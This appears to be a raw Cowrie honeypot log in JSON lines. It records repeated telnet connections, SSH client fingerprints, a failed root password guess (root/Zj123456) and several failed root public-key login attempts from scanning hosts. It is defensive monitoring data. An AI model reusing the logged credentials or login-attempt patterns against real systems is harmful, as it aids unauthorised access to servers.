{"eventid":"cowrie.session.closed","duration":51.909831285476685,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:09.429093Z","src_ip":"152.42.224.71","session":"08d761d0940e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.302167654037476,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:10.215125Z","src_ip":"152.42.224.71","session":"db37e9a45e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.23821783065796,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:12.480031Z","src_ip":"152.42.224.71","session":"5aae75699fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.03014707565308,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:13.164951Z","src_ip":"152.42.224.71","session":"c0a4d5d6e18c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33706,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e33f18daa9","protocol":"telnet","message":"New connection: 152.42.224.71:33706 (10.17.0.5:23) [session: a8e33f18daa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:13.554317Z"}
{"eventid":"cowrie.session.closed","duration":31.77432632446289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:19.428914Z","src_ip":"152.42.224.71","session":"fbb4a073b0cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190281867981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:20.604767Z","src_ip":"152.42.224.71","session":"46ccdef93f9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34544,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8b085bbe8c","protocol":"telnet","message":"New connection: 152.42.224.71:34544 (10.17.0.5:23) [session: 6d8b085bbe8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:22.669939Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47694,"dst_ip":"10.17.0.5","dst_port":23,"session":"5444fe68cb6b","protocol":"telnet","message":"New connection: 152.42.224.71:47694 (10.17.0.5:23) [session: 5444fe68cb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:29.020591Z"}
{"eventid":"cowrie.session.closed","duration":32.25965237617493,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:29.036368Z","src_ip":"152.42.224.71","session":"7ffda70794e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47698,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1cd7353b71","protocol":"telnet","message":"New connection: 152.42.224.71:47698 (10.17.0.5:23) [session: 4e1cd7353b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:34.576521Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47706,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1f661ebc3cf","protocol":"telnet","message":"New connection: 152.42.224.71:47706 (10.17.0.5:23) [session: d1f661ebc3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:34.846276Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47722,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9ba3d25201c","protocol":"telnet","message":"New connection: 152.42.224.71:47722 (10.17.0.5:23) [session: d9ba3d25201c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:35.073398Z"}
{"eventid":"cowrie.session.closed","duration":106.20281529426575,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:40.202220Z","src_ip":"152.42.224.71","session":"749d1d9d57e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.51967453956604,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:42.096053Z","src_ip":"152.42.224.71","session":"4e1cd7353b71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.084643602371216,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:46.890791Z","src_ip":"152.42.224.71","session":"f2fa2b150ea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.515660047531128,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:47.185476Z","src_ip":"152.42.224.71","session":"6d8b085bbe8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.14826416969299,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:47.896947Z","src_ip":"152.42.224.71","session":"89fad4f8fcd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43914,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed9b7846bfc","protocol":"telnet","message":"New connection: 152.42.224.71:43914 (10.17.0.5:23) [session: bed9b7846bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:52.367806Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43930,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6b7fae59464","protocol":"telnet","message":"New connection: 152.42.224.71:43930 (10.17.0.5:23) [session: f6b7fae59464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:53.669200Z"}
{"eventid":"cowrie.session.closed","duration":42.960233211517334,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:56.514421Z","src_ip":"152.42.224.71","session":"a8e33f18daa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00345373153687,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:00.494892Z","src_ip":"152.42.224.71","session":"60489b082eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35952,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b6321f5b79","protocol":"telnet","message":"New connection: 152.42.224.71:35952 (10.17.0.5:23) [session: e4b6321f5b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:02.536515Z"}
{"eventid":"cowrie.session.closed","duration":11.776526927947998,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:04.144233Z","src_ip":"152.42.224.71","session":"bed9b7846bfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42522,"dst_ip":"10.17.0.5","dst_port":22,"session":"8045e9ee963c","protocol":"ssh","message":"New connection: 80.94.92.184:42522 (10.17.0.5:22) [session: 8045e9ee963c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:10.769300Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:10.884767Z","src_ip":"80.94.92.184","session":"8045e9ee963c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":56872,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1c293fa9721","protocol":"ssh","message":"New connection: 43.134.32.136:56872 (159.203.135.109:22) [session: d1c293fa9721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:11.346148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:11.352310Z","src_ip":"43.134.32.136","session":"d1c293fa9721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:11.598374Z","src_ip":"43.134.32.136","session":"d1c293fa9721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zj123456","message":"login attempt [root/Zj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:12.614577Z","src_ip":"43.134.32.136","session":"d1c293fa9721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55782,"dst_ip":"10.17.0.5","dst_port":23,"session":"af6d1a1789e7","protocol":"telnet","message":"New connection: 152.42.224.71:55782 (10.17.0.5:23) [session: af6d1a1789e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:12.849437Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:13.863717Z","src_ip":"43.134.32.136","session":"d1c293fa9721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":47722,"dst_ip":"10.17.0.5","dst_port":22,"session":"e146d71ae737","protocol":"ssh","message":"New connection: 208.115.214.194:47722 (10.17.0.5:22) [session: e146d71ae737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:14.967067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:14.973844Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.054699Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:08:72:c7:ba:49:11:ca:ea:42:02:ae:35:d0:94:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr/aPtbAzuC2o9CKLgFXpmXpeR9wlLPx0Z1cXki0RnhMIyNJbIUqdl8D0xpwTzUTWwMQdmTn61UCW6rgsZgdkmUc+LuH7/N5HXqKdM2+pRPDYnZIX1QzBykdDE/E4Quvh9qe+IZhoKBeVnq3QhIPwx+BGRkNieRQyJab1a+VHox1B6Ztrw1IGKFBLVtGI/zIQGA66nK3qEsO5L8ANIhLaY8ai4yDeCWe+FWn/borDOoq3usT8M/ytMlGE61gu5d82xOFm+XI1vZ6u4UqlqxOeCbeuOnP3AR3N7Rm4/YuReNCkuA27tdtB1lWHH2rfqD/mKRpzBgP46IrlfpiuEpiCL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:08:72:c7:ba:49:11:ca:ea:42:02:ae:35:d0:94:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.424356Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:08:72:c7:ba:49:11:ca:ea:42:02:ae:35:d0:94:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr/aPtbAzuC2o9CKLgFXpmXpeR9wlLPx0Z1cXki0RnhMIyNJbIUqdl8D0xpwTzUTWwMQdmTn61UCW6rgsZgdkmUc+LuH7/N5HXqKdM2+pRPDYnZIX1QzBykdDE/E4Quvh9qe+IZhoKBeVnq3QhIPwx+BGRkNieRQyJab1a+VHox1B6Ztrw1IGKFBLVtGI/zIQGA66nK3qEsO5L8ANIhLaY8ai4yDeCWe+FWn/borDOoq3usT8M/ytMlGE61gu5d82xOFm+XI1vZ6u4UqlqxOeCbeuOnP3AR3N7Rm4/YuReNCkuA27tdtB1lWHH2rfqD/mKRpzBgP46IrlfpiuEpiCL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.429937Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:75:c1:de:b5:d8:2a:6e:e5:6f:fb:0e:f1:e8:45:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmZ2+VyDw39gn8CCZ66XLiOmYjvZmsgOz4f2oF78hirettKgOWcSkimTCFTd7mR6E4rJawYG0PSqK6BJU71P8syJTtJ0OPYLfVx61EyYqjX6bH0su19s8ld4IDChWrtTuFZIqXOtPGu3SnJG7ZQagcymvXEQRL0e5ILFGXM16eu/eMbVYgLXMyYtNbhIJriIqYAwujh/PKP0P0saCJ+jErMxCXz2b6r1XdljusyCueEl7O2tCpuTRvymL4zhZFi5O2WUju88T2KSHCPY0i7KUS3ViX+S32ZkItzF5JxTdZlDhbaunOdTveoB6pTj1b5VbrdvK7kGKl6w+3+tLswO4Zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:75:c1:de:b5:d8:2a:6e:e5:6f:fb:0e:f1:e8:45:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.510714Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:75:c1:de:b5:d8:2a:6e:e5:6f:fb:0e:f1:e8:45:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmZ2+VyDw39gn8CCZ66XLiOmYjvZmsgOz4f2oF78hirettKgOWcSkimTCFTd7mR6E4rJawYG0PSqK6BJU71P8syJTtJ0OPYLfVx61EyYqjX6bH0su19s8ld4IDChWrtTuFZIqXOtPGu3SnJG7ZQagcymvXEQRL0e5ILFGXM16eu/eMbVYgLXMyYtNbhIJriIqYAwujh/PKP0P0saCJ+jErMxCXz2b6r1XdljusyCueEl7O2tCpuTRvymL4zhZFi5O2WUju88T2KSHCPY0i7KUS3ViX+S32ZkItzF5JxTdZlDhbaunOdTveoB6pTj1b5VbrdvK7kGKl6w+3+tLswO4Zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.514187Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:e8:58:50:1d:3e:d6:73:f1:ce:46:16:28:0f:41:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe13JHU5OibBPEKj4eZwzfHHKtvJUvvEpisW2w/70gORXhsHiN/URK0zkHSOL+Tyf3oYGMFICN4IXl5IjqwzjD45gEx6KmCX1Qi9a/pwb4E4OvD+aiuFAmuMH4cnnNwoUUHJBO/fFpTUSDbS9+E/F5IbjPLNLgbZiZFpcKAdgG1/vQq6W6UeUF73npJyPPpOTMX0OF6Z2A0ZsQqD7x3YNrgduHGGAf3589G73lcUytRR3LFxUD2KuYQNwD/uEzQX9XgbqoJeWK6913cjNHxfIWLOrjmLgh0koI6V6E52M/S6ynwhTkRHFFZ8Rw0WVskQ+84B0l0tQdVuOwJ0JzRx4WpkCA8IrP+sli+h3CvJRPFHqAVI7pboVJblDc9ILxw6EeNa8WkMJiLw+6NcPp4jKb0ZhrcCUJyb/AM9FC/IwwueVIpe0SdwUyiHaeITDldUSfbSry4MPiJazUYTbaboWRSRGdoGkLYlbDVdc5FFkH0x9rrNI9RGsxFg6jx9Q72eU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:e8:58:50:1d:3e:d6:73:f1:ce:46:16:28:0f:41:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.597579Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:e8:58:50:1d:3e:d6:73:f1:ce:46:16:28:0f:41:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe13JHU5OibBPEKj4eZwzfHHKtvJUvvEpisW2w/70gORXhsHiN/URK0zkHSOL+Tyf3oYGMFICN4IXl5IjqwzjD45gEx6KmCX1Qi9a/pwb4E4OvD+aiuFAmuMH4cnnNwoUUHJBO/fFpTUSDbS9+E/F5IbjPLNLgbZiZFpcKAdgG1/vQq6W6UeUF73npJyPPpOTMX0OF6Z2A0ZsQqD7x3YNrgduHGGAf3589G73lcUytRR3LFxUD2KuYQNwD/uEzQX9XgbqoJeWK6913cjNHxfIWLOrjmLgh0koI6V6E52M/S6ynwhTkRHFFZ8Rw0WVskQ+84B0l0tQdVuOwJ0JzRx4WpkCA8IrP+sli+h3CvJRPFHqAVI7pboVJblDc9ILxw6EeNa8WkMJiLw+6NcPp4jKb0ZhrcCUJyb/AM9FC/IwwueVIpe0SdwUyiHaeITDldUSfbSry4MPiJazUYTbaboWRSRGdoGkLYlbDVdc5FFkH0x9rrNI9RGsxFg6jx9Q72eU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.602146Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:d4:cd:77:30:d9:82:c1:f7:99:e1:08:ee:b6:66:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWFfNKwLdvKAWw6JffZcBmXI3cC8m1C6udAyoXEtm8o6JVptULJAOo0NtAjP5g1aikY87UgdtH1USrDbB/wdoqgIgJw5KmuOQ76BqP6waC3epbOvO7dwscCDAhBgWoZnxcbEc3chEJWMIEWNILjmL2ysbku3tWjZ8rJavxwRkVMUI6L4V/7YZ75iKmwhTkvOXqd8I4JCBlvk/1mubDTt60w2OnMSQkDjn6QajaX8phqCXPhqPHJBZh7K9YgBhLpLODAAg4ePVb7mdlQTL8j05NX7zoWVgjeI8zQ9Xh9X20H2Py9HhOeVXc4QmyryfyaWR7HKarCdUcrLmSBE/Ts9jD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:d4:cd:77:30:d9:82:c1:f7:99:e1:08:ee:b6:66:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.687416Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:d4:cd:77:30:d9:82:c1:f7:99:e1:08:ee:b6:66:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWFfNKwLdvKAWw6JffZcBmXI3cC8m1C6udAyoXEtm8o6JVptULJAOo0NtAjP5g1aikY87UgdtH1USrDbB/wdoqgIgJw5KmuOQ76BqP6waC3epbOvO7dwscCDAhBgWoZnxcbEc3chEJWMIEWNILjmL2ysbku3tWjZ8rJavxwRkVMUI6L4V/7YZ75iKmwhTkvOXqd8I4JCBlvk/1mubDTt60w2OnMSQkDjn6QajaX8phqCXPhqPHJBZh7K9YgBhLpLODAAg4ePVb7mdlQTL8j05NX7zoWVgjeI8zQ9Xh9X20H2Py9HhOeVXc4QmyryfyaWR7HKarCdUcrLmSBE/Ts9jD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.692609Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:a1:9b:d1:41:be:43:2b:ef:e8:55:88:3c:d0:28:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArg3+tZ6zZwxLZqzf8L0Vwp2tzPGiyn3E2tly4+5HolnSzTsoS9q5moLtkg3HNYkphyGj1HD8R66mPP5ZiWLsqD+ZsD06IwBc3Yd5Zm1bGMi1a1G3qmQhciHcfr6GtONMpJcMm6siyeM0gxue+MgvimWdV14YvSCPlryrtxhD/cdStjPRaMplgm3rbrYao5xVeuNsqYpS/H8+PvAN/X68j7c4rw7RhYua5YQQh+EhvJIRuYpFUTFDwwgs1ymQMBWc+bLRSNUg6fC/nxkq7VlLQAHdvPT4DTZmNohUt2QmoHeV79Y0+8XBsJeI+NrTkmBIQPFUvpkyAv7S0QoL+2m/Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:a1:9b:d1:41:be:43:2b:ef:e8:55:88:3c:d0:28:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.772423Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:a1:9b:d1:41:be:43:2b:ef:e8:55:88:3c:d0:28:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArg3+tZ6zZwxLZqzf8L0Vwp2tzPGiyn3E2tly4+5HolnSzTsoS9q5moLtkg3HNYkphyGj1HD8R66mPP5ZiWLsqD+ZsD06IwBc3Yd5Zm1bGMi1a1G3qmQhciHcfr6GtONMpJcMm6siyeM0gxue+MgvimWdV14YvSCPlryrtxhD/cdStjPRaMplgm3rbrYao5xVeuNsqYpS/H8+PvAN/X68j7c4rw7RhYua5YQQh+EhvJIRuYpFUTFDwwgs1ymQMBWc+bLRSNUg6fC/nxkq7VlLQAHdvPT4DTZmNohUt2QmoHeV79Y0+8XBsJeI+NrTkmBIQPFUvpkyAv7S0QoL+2m/Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.779484Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:15.862432Z","src_ip":"208.115.214.194","session":"e146d71ae737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.23028540611267,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:20.303564Z","src_ip":"152.42.224.71","session":"d9ba3d25201c","protocol":"telnet"}
